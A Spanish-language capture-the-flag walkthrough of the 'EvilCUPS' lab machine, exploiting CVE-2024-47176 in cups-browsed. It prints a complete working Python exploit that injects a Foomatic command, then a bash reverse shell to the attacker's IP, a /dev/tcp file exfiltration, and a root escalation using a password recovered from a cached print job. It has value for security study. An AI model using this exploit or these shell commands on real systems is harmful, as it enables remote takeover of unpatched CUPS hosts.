EvilCUPS

nmap

cat nmap.scan
Nmap 7.94SVN scan initiated Sun Oct 6 10:12:29 2024 as: nmap -sC -sV -o nmap.scan 10.10.11.40
Nmap scan report for 10.10.11.40
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open ssh   OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 36:49:95:03:8d:b4:4c:6e:a9:25:92:af:3c:9e:06:66 (ECDSA)
|_ 256 9f:a4:a9:39:11:20:e0:96:ee:c4:9a:69:28:95:0c:60 (ED25519)
631/tcp open ipp   CUPS 2.4
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Home - CUPS 2.4.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done at Sun Oct 6 10:14:03 2024 -- 1 IP address (1 host up) scanned in 93.98 seconds

#Si nos fijamos el puerto “631” es usado para las impresoras.
#Buscaremos algun CVE.
https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/

#Nos fijaremos en el CVE-2024-47176 | cups-browsed <= 2.0.1 binds on UDP INADDR_ANY:631 trusting any packet from any source to trigger a Get-Printer-Attributes IPP request to an attacker controlled URL.

En le purto udp INADDR_ANY:631 parece que confiando en cualquier paquete de cualquier fuente para activar una solicitud IPP Get-Printer-Attributes a una URL controlada por el atacante.
Lo que nos permite añadir un impresora mediante la solicitud IIP.

CVE-2024-47176

#Encontramos un script en python3 para ejecutar el RCE.
https://github.com/rapid7/metasploit-framework/issues/19509

#Tendremos que modificarlo para obtener el shell. (Cojeremos el script de ippsec)
https://raw.githubusercontent.com/IppSec/evil-cups/refs/heads/main/evilcups.py

cat evilcups.py

```
#!/usr/bin/env python3
# Based off of EvilSocket's Exploit Script
# Few changes to make it more relaible

import socket
import threading
import time
import sys

from ippserver.server import IPPServer
import ippserver.behaviour as behaviour
from ippserver.server import IPPRequestHandler
from ippserver.constants import (
    OperationEnum, StatusCodeEnum, SectionEnum, TagEnum
)
from ippserver.parsers import Integer, Enum, Boolean
from ippserver.request import IppRequest

class ServerContext:
    def __init__(self, server):
        self.server = server
        self.server_thread = None

    def __enter__(self):
        print(f'IPP Server Listening on {server.server_address}')
        self.server_thread = threading.Thread(target=self.server.serve_forever)
        self.server_thread.daemon = True
        self.server_thread.start()

    def __exit__(self, exc_type, exc_value, traceback):
        print('Shutting down the server...')
        self.server.shutdown()
        self.server_thread.join()

def handle_signal(signum, frame):
    raise KeyboardInterrupt()

class MaliciousPrinter(behaviour.StatelessPrinter):
    def __init__(self, command):
        self.command = command
        super(MaliciousPrinter, self).__init__()

    def printer_list_attributes(self):
        attr = {
            # rfc2911 section 4.4
            (
                SectionEnum.printer,
                b'printer-uri-supported',
                TagEnum.uri
            ): [self.printer_uri],
            (
                SectionEnum.printer,
                b'uri-authentication-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'uri-security-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-name',
                TagEnum.name_without_language
            ): [b'Main Printer'],
            (
                SectionEnum.printer,
                b'printer-info',
                TagEnum.text_without_language
            ): [b'Main Printer Info'],
            (
                SectionEnum.printer,
                b'printer-make-and-model',
                TagEnum.text_without_language
```

```
            ): [b'HP 0.00'],
            (
                SectionEnum.printer,
                b'printer-state',
                TagEnum.enum
            ): [Enum(3).bytes()],  # XXX 3 is idle
            (
                SectionEnum.printer,
                b'printer-state-reasons',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'ipp-versions-supported',
                TagEnum.keyword
            ): [b'1.1'],
            (
                SectionEnum.printer,
                b'operations-supported',
                TagEnum.enum
            ): [
                Enum(x).bytes()
                for x in (
                    OperationEnum.print_job,  # (required by cups)
                    OperationEnum.validate_job,  # (required by cups)
                    OperationEnum.cancel_job,  # (required by cups)
                    OperationEnum.get_job_attributes,  # (required by cups)
                    OperationEnum.get_printer_attributes,
                )],
            (
                SectionEnum.printer,
                b'multiple-document-jobs-supported',
                TagEnum.boolean
            ): [Boolean(False).bytes()],
            (
                SectionEnum.printer,
                b'charset-configured',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'charset-supported',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'natural-language-configured',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'generated-natural-language-supported',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'document-format-default',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'document-format-supported',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'printer-is-accepting-jobs',
                TagEnum.boolean
            ): [Boolean(True).bytes()],
            (
                SectionEnum.printer,
                b'queued-job-count',
                TagEnum.integer
            ): [Integer(666).bytes()],
            (
                SectionEnum.printer,
                b'pdl-override-supported',
                TagEnum.keyword
            ): [b'not-attempted'],
            (
                SectionEnum.printer,
                b'printer-up-time',
                TagEnum.integer
            ): [Integer(self.printer_uptime()).bytes()],
            (
                SectionEnum.printer,
                b'compression-supported',
```

```
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-more-info',
                TagEnum.uri
            ): [f'"\n*FoomaticRIPCommandLine: "{self.command}"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-
rip'.encode()],

        }
        attr.update(super().minimal_attributes())
        return attr

    def operation_printer_list_response(self, req, _psfile):
        print("\ntarget connected, sending payload ...")
        attributes = self.printer_list_attributes()
        return IppRequest(
            self.version,
            StatusCodeEnum.ok,
            req.request_id,
            attributes)


def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port):
    print(f"Sending udp packet to {ip}:{port}...")
    printer_type = 2
    printer_state = '3'
    printer_uri = f'http://{ipp_server_host}:{ipp_server_port}/printers/EVILCUPS'
    printer_location = '"You Have Been Hacked"'
    printer_info = '"HACKED"'
    printer_model = '"HP LaserJet 1020"'
    packet = f"{printer_type:x} {printer_state} {printer_uri} {printer_location} {printer_info} {printer_model} \n"

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(packet.encode('utf-8'), (ip, port))

def run_server(server):
    with ServerContext(server):
        try:
            while True:
                time.sleep(.5)
        except KeyboardInterrupt:
            pass

    server.shutdown()


if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("%s <LOCAL_HOST> <TARGET_HOST> <COMMAND>" % sys.argv[0])
        quit()

    SERVER_HOST = sys.argv[1]
    SERVER_PORT = 12345

    command = sys.argv[3]

    server = IPPServer((SERVER_HOST, SERVER_PORT),
                       IPPRequestHandler, MaliciousPrinter(command))
    threading.Thread(
         target=run_server,
         args=(server, )
     ).start()

    TARGET_HOST = sys.argv[2]
    TARGET_PORT = 631
    send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT)

    print("Please wait this normally takes 30 seconds...")

    seconds = 0
    while True:
        print(f"\r{seconds} elapsed", end="", flush=True)
        time.sleep(1)
        seconds += 1
```

#Lo ejecutamos.

```
python3 evilcups.py 10.10.14.68 10.10.11.40 'bash -c "bash -i >& /dev/tcp/10.10.14.68/9001 0>&1"'
IPP Server Listening on ('10.10.14.68', 12345)
Sending udp packet to 10.10.11.40:631...
Please wait this normally takes 30 seconds...
20 elapsed
target connected, sending payload ...
```

target connected, sending payload …
178 elapsed
target connected, sending payload …
363 elapsed

#Las epecificacciones para crear el paquete UPD las tenemos aquí.
https://opensource.apple.com/source/cups/cups-327/cups/doc/help/spec-browsing.html

#Una vez ejecutado el comando, nos dirigimos a https://10.10.11.40:631/printers/, donde activaremos la conexión al darle a “print test page” https://10.10.11.40:631/printers/HACKED_10_10_14_68.

nc -lvnp 9001
listening on [any] 9001 …
connect to [10.10.14.68] from (UNKNOWN) [10.10.11.40] 46648
bash: cannot set terminal process group (5477): Inappropriate ioctl for device
bash: no job control in this shell
lp@evilcups:/$ whoami
whoami
lp
lp@evilcups:/$

####Nota
#Con la opción “nohup <rev_shell> &” podemos obtener un conexión persistente.
#Luego tendremos que elevar nuestro shell.
python3 -c ‘import pty:pty.spawn("/bin/bash")’
stty raw -echo;fg
export TERM=xterm

#Lo que sucede es que nuestro shell está junto al job, cuando este muere el job también.
ps -ef --forest
ps -ef --forest | less -S

stty rows 28 cols 110

priv_escalation

#Si nos dirigimos a /var/cache/cups, veremos un fichero llamado jobs.cache.
lp@evilcups:/var/cache/cups$ cat job.cache
cat job.cache
Job cache file for CUPS v2.4.2
Written by cupsd
NextJobId 5
<Job 1>
State 9
Created 1728137789
Completed 1728137789
Priority 50
HoldUntil 1728138689
Username root
Name .breakglass
Destination Canon_MB2300_series
DestType 0
KOctets 12
NumFiles 1
File 1 application/postscript 0
</Job>
<Job 4>
State 7
Created 0
Completed 1728210654
Priority 50
Username anonymous
Destination HACKED_10_10_14_68
DestType 2
KOctets 1
NumFiles 0
</Job>

#Veremos el nombre del job creado anteriormente.
#Para ver como se organiza la aplicacción tenemos esta url:
https://www.cups.org/doc/spec-design.html

#Nos dirigimos a /spool/cups

lp@evilcups:/var/cache/cups$ cd /var/spool/cups
cd /var/spool/cups

#No tenemos permiso para listar el directorio pero si entendemos como se crean los job, veremos como llevan el formato "d00001-001".
#Revisamos la documentación.

> Job Files
>
> The scheduler stores job files in a spool directory, typically /var/spool/cups. Two types of files will be found in the spool directory: control files starting with the letter "c" ("c00001", "c99999", "c100000", etc.) and data files starting with the letter "d" ("d00001-001", "d99999-001", "d100000-001", etc.) Control files are IPP messages based on the original IPP Print-Job or Create-Job messages, while data files are the original print files that were submitted for printing. There is one control file for every job known to the system and 0 or more data files for each job.

realizaremos un cat al fichero “d00001-001”, donde el último dígito es el nº del job.
lp@evilcups:/var/spool/cups$ dir
dir
dir: cannot open directory '.': Permission denied
lp@evilcups:/var/spool/cups$ cat d0001
cat d0001
cat: d0001: No such file or directory
lp@evilcups:/var/spool/cups$ cat d00001-001

#Veremos como hace referencia al fichero pass.txt
/fname (pass.txt) def
/fdir (.) def
/ftail (pass.txt) def
% User defined strings:
/fmodstr (Sat Sep 28 09:30:10 2024) def
/pagenumstr (1) def
/user_header_p false def

```
/user_footer_p false def
%%EndPageSetup
do_header
5 742 M
(Br3@k-G!@ss-r00t-evilcups) s

#Ahora convertiremos el script file en pdf para ver la página que se estaba imprimiendo. (usaremos nc)
#En localhost escribimos:
nc -lvnp 9001 > job.ps

#En la máquina vícitma escribiremos:
cat d00001-001 > /dev/tcp/10.10.14.68/9001

#Ya tendremos el contenido del fichero:
nc -lvnp 9001 > job.ps
listening on [any] 9001 …
connect to [10.10.14.68] from (UNKNOWN) [10.10.11.40] 60252

#Lo convertimos a pdf.
ps2pdf job.ps job.pdf
open job.pdf

pass.txt
Sat Sep 28 09:30:10 2024
Br3@k-G!@ss-r00t-evilcups

#Repetimos el proceso uprgradeando el shell.
nc -lvnp 9001
listening on [any] 9001 …
connect to [10.10.14.68] from (UNKNOWN) [10.10.11.40] 48422
bash: cannot set terminal process group (5917): Inappropriate ioctl for device
bash: no job control in this shell
lp@evilcups:/$ python3 -c 'import pty;pty.spawn("/bin/bash")'
^Z
[1]+  Stopped                 nc -lvnp 9001

┌──(alle㉿DESKTOP-H80F5II)-[~/Desktop/machines/EvilCUPS]
└─$ stty raw -echo;fg
nc -lvnp 9001
            python3 -c 'import pty;pty.spawn("/bin/bash")'
                                                  lp@evilcups:/$ export TERM=xterm
lp@evilcups:/$ dir
bin   etc         initrd.img.old  lost+found  opt   run   sys  var
boot  home        lib             media       proc  sbin  tmp  vmlinuz
dev   initrd.img  lib64           mnt         root  srv   usr  vmlinuz.old
lp@evilcups:/$ su -
Password:
root@evilcups:~# whoami
root
```